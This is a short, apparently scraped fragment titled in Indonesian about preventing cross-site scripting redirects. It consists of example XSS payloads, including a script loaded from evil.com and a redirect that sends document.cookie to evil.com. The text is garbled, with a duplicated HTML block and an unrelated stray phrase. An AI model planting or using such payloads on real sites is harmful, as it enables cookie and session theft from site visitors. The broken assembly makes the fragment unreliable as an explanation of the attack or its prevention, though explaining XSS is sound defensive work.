cara mencegah skrip situs lintas untuk mengarahkan Anda ke halaman web lain
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
Inexpensive Ibis
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>